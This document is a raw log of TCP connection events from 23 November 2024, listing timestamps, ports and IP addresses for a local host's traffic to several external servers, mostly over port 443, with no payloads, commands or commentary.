Nov 23, 2024 21:59:35.077908039 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.078340054 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.078346968 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.385862112 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.386050940 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.386126995 CET	49799	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.438123941 CET	49799	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.438123941 CET	49799	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.438152075 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.438167095 CET	443	49799	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.465845108 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.465924978 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.466052055 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.495891094 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.495910883 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.495938063 CET	49800	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.495944977 CET	443	49800	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.500003099 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.500030041 CET	49818	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.500058889 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.500062943 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.500132084 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.500154018 CET	49818	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.500972986 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.500993967 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.501036882 CET	49818	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.501051903 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.531965017 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.532032013 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.532210112 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.565505981 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.651937962 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.772594929 CET	49801	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.772622108 CET	443	49801	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.774976969 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.774992943 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.775577068 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.775582075 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.779575109 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.779629946 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.779719114 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.779995918 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:35.780009031 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:35.964685917 CET	49824	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:35.964729071 CET	443	49824	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:35.964869022 CET	49824	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:35.965209961 CET	49824	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:35.965226889 CET	443	49824	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:35.965500116 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:35.965534925 CET	443	49825	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:35.965688944 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:35.965764999 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:35.965775967 CET	443	49825	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:35.982989073 CET	49826	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:35.983023882 CET	443	49826	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:35.983108997 CET	49826	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:35.983814001 CET	49826	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:35.983829021 CET	443	49826	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.100511074 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.100586891 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.100683928 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.101497889 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.101497889 CET	49803	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.101545095 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.101572990 CET	443	49803	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.104676008 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.104722977 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.104892969 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.105029106 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.105046034 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.310149908 CET	49824	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.336211920 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.336239100 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.336329937 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.337615013 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.337635040 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.337759972 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:36.337852955 CET	49812	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:36.342741013 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:36.342749119 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:36.342886925 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:36.343240023 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:36.343246937 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:36.343295097 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:36.343786955 CET	49826	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.343982935 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.343991041 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.344082117 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.345181942 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:36.345191956 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:36.345343113 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:36.345351934 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:36.345722914 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.345732927 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.351367950 CET	443	49824	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.383352995 CET	443	49812	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:36.383362055 CET	443	49825	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:36.387358904 CET	443	49826	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.496571064 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.501701117 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.501735926 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.502374887 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.502381086 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.650775909 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:36.650827885 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:36.684581041 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:36.684626102 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:36.684710979 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:36.685995102 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:36.686014891 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:36.717472076 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.717567921 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.717668056 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.717823029 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.717858076 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.784866095 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:36.826345921 CET	443	49812	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:36.826420069 CET	49812	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:36.832215071 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.832247019 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.832314968 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.832668066 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:36.832679033 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:36.904484034 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:36.953679085 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.953816891 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.953877926 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.954123020 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.954142094 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.954154015 CET	49810	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.954159975 CET	443	49810	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.957396030 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.957433939 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:36.957510948 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.957695961 CET	49843	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:36.957710028 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.047496080 CET	49849	443	192.168.2.6	3.160.188.68
Nov 23, 2024 21:59:37.047506094 CET	443	49849	3.160.188.68	192.168.2.6
Nov 23, 2024 21:59:37.047566891 CET	49849	443	192.168.2.6	3.160.188.68
Nov 23, 2024 21:59:37.048743963 CET	49849	443	192.168.2.6	3.160.188.68
Nov 23, 2024 21:59:37.048758984 CET	443	49849	3.160.188.68	192.168.2.6
Nov 23, 2024 21:59:37.231235981 CET	443	49824	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.231333971 CET	49824	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.240593910 CET	443	49825	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.240659952 CET	49825	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.291482925 CET	443	49826	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.291589022 CET	49826	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.291596889 CET	443	49826	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.291672945 CET	49826	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.294320107 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.294981003 CET	49818	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.295001030 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.295802116 CET	49818	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.295810938 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.351429939 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.352106094 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.352138996 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.352329969 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.352336884 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.569063902 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.572423935 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.572449923 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.572941065 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.572947979 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.593918085 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.600296974 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.600316048 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.601413012 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.601509094 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.602869034 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.602936983 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.603085995 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.603095055 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.647617102 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.652213097 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.652241945 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.653692961 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.653784037 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.654808044 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.654982090 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.655069113 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.655215979 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.655225992 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.655415058 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.655461073 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.658422947 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.658524036 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.659476042 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.659553051 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.659615040 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.660135984 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.707345963 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.734364033 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:37.734448910 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:37.738095045 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.738272905 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.738363028 CET	49818	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.738671064 CET	49818	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.738694906 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.738709927 CET	49818	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.738719940 CET	443	49818	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.741472960 CET	49855	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.741513968 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.741605997 CET	49855	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.741790056 CET	49855	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.741801977 CET	443	49855	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.769817114 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.806870937 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.806951046 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.807039976 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.807348013 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.807370901 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.807377100 CET	49817	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.807383060 CET	443	49817	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.810199022 CET	49856	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.810220003 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.810301065 CET	49856	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.810523033 CET	49856	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.810534954 CET	443	49856	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.852461100 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.852478027 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.887886047 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.900115967 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.900144100 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.900710106 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:37.900716066 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:37.945977926 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.946306944 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.946336985 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.947810888 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.947906017 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.948991060 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.949079990 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:37.949161053 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:37.958133936 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.985651016 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.985687971 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.985765934 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.985963106 CET	49857	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:37.985975981 CET	443	49857	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:37.991334915 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.061098099 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.061419964 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.061448097 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.062479019 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.062541008 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.062886953 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.062942028 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.063028097 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.063035011 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.064702988 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.064763069 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.064835072 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.065855980 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.065856934 CET	49820	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.065876007 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.065886974 CET	443	49820	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.069236040 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.069278955 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.069921017 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.070024014 CET	49858	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.070033073 CET	443	49858	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.083327055 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.083364964 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.083574057 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.083802938 CET	49859	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.083813906 CET	443	49859	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.092124939 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.092185020 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.092267036 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.092447996 CET	49828	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.092468977 CET	443	49828	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.094470978 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.094906092 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.094922066 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.095999956 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.096065998 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.096477032 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.096544027 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.096613884 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.096620083 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.155334949 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.155430079 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.158880949 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.174081087 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.260705948 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.260765076 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.261123896 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.261641979 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.261703968 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.261770964 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.268552065 CET	49834	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.268573999 CET	443	49834	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.269071102 CET	49838	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.269087076 CET	443	49838	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.297022104 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.297127008 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.297336102 CET	443	49841	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.297405005 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.297424078 CET	49841	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.368454933 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.368530989 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.368596077 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.370024920 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:38.370362997 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:38.370373964 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:38.370606899 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.370618105 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.370629072 CET	49827	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.370635033 CET	443	49827	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.370754957 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:38.370769978 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:38.370822906 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:38.370829105 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:38.370868921 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:38.371511936 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:38.373354912 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:38.373420000 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:38.373545885 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:38.373550892 CET	443	49833	172.217.19.225	192.168.2.6
Nov 23, 2024 21:59:38.399420023 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.399461985 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.399723053 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.402944088 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.403194904 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.403260946 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.403631926 CET	49839	443	192.168.2.6	162.159.61.3
Nov 23, 2024 21:59:38.403646946 CET	443	49839	162.159.61.3	192.168.2.6
Nov 23, 2024 21:59:38.404620886 CET	49860	443	192.168.2.6	13.107.246.63
Nov 23, 2024 21:59:38.404634953 CET	443	49860	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.451414108 CET	49809	80	192.168.2.6	185.215.113.206
Nov 23, 2024 21:59:38.457226038 CET	49833	443	192.168.2.6	172.217.19.225
Nov 23, 2024 21:59:38.515702963 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.515772104 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.515872955 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.522592068 CET	49840	443	192.168.2.6	172.64.41.3
Nov 23, 2024 21:59:38.522603035 CET	443	49840	172.64.41.3	192.168.2.6
Nov 23, 2024 21:59:38.572465897 CET	80	49809	185.215.113.206	192.168.2.6
Nov 23, 2024 21:59:38.709217072 CET	443	49843	13.107.246.63	192.168.2.6
Nov 23, 2024 21:59:38.709961891 CET	49843	443	192.168.2.6	13.107.246.63
